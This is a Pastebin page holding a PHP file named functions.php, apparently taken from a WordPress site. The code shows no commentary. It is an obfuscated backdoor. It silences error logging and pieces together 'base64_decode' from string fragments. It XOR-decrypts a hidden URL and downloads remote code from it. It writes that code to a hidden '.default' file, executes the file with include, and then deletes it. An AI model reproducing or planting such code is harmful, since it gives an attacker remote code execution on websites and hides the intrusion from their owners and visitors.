Advertisement
PalmaSolutions

functions.php

May 21st, 2018
221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.78 KB | None | 0 0
  1.  <?php
  2. @ini_set("display_errors", "0");
  3. @ini_set("error_log",NULL);
  4. @ini_set("log_errors",0);
  5. error_reporting(0);
  6. if (!$npDcheckClassBgp) {
  7. $ea = "_shaesx_"; $ay = "get_data_ya"; $ae = "decode"; $ea = str_replace("_sha", "bas", $ea); $ao = "wp_cd"; $ee = $ea.$ae; $oa = str_replace("sx", "64", $ee); $algo = "default"; $pass = "Zgc5c4MXrKk0ZQwD69BWJ/PdPFbQdr9dm2WSGbE=";
  8. if (ini_get("allow_url_fopen")) {
  9.     function get_data_ya($url) {
  10.         $data = file_get_contents($url);
  11.         return $data;
  12.     }
  13. }
  14. else {
  15.     function get_data_ya($url) {
  16.         $ch = curl_init();
  17.         curl_setopt($ch, CURLOPT_HEADER, 0);
  18.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  19.         curl_setopt($ch, CURLOPT_URL, $url);
  20.         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
  21.         $data = curl_exec($ch);
  22.         curl_close($ch);
  23.         return $data;
  24.     }
  25. }
  26. function wp_cd($fd, $fa="")
  27. {
  28.    $fe = "wp_frmfunct";
  29.    $len = strlen($fd);
  30.    $ff = "";
  31.    $n = $len>100 ? 8 : 2;
  32.    while( strlen($ff)<$len )
  33.    {
  34.       $ff .= substr(pack("H*", sha1($fa.$ff.$fe)), 0, $n);
  35.    }
  36.    return $fd^$ff;
  37. }
  38. $reqw = $ay($ao($oa("$pass"), "wp_function"));
  39. preg_match("#gogo(.*)enen#is", $reqw, $mtchs);
  40. $dirs = glob("*", GLOB_ONLYDIR);
  41. foreach ($dirs as $dira) {
  42.     if (fopen("$dira/.$algo", "w")) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", "w"); break; }
  43.     $subdirs = glob("$dira/*", GLOB_ONLYDIR);
  44.     foreach ($subdirs as $subdira) {
  45.         if (fopen("$subdira/.$algo", "w")) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", "w"); break; }
  46.     }
  47. }
  48. if (!$ura && fopen(".$algo", "w")) { $ura = 1; $eb = ""; $hdl = fopen(".$algo", "w"); }
  49. fwrite($hdl, "<?php\n$mtchs[1]\n?>");
  50. fclose($hdl);
  51. include("{$eb}.$algo");
  52. unlink("{$eb}.$algo");
  53. $npDcheckClassBgp = "aue";
  54. }
  55. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement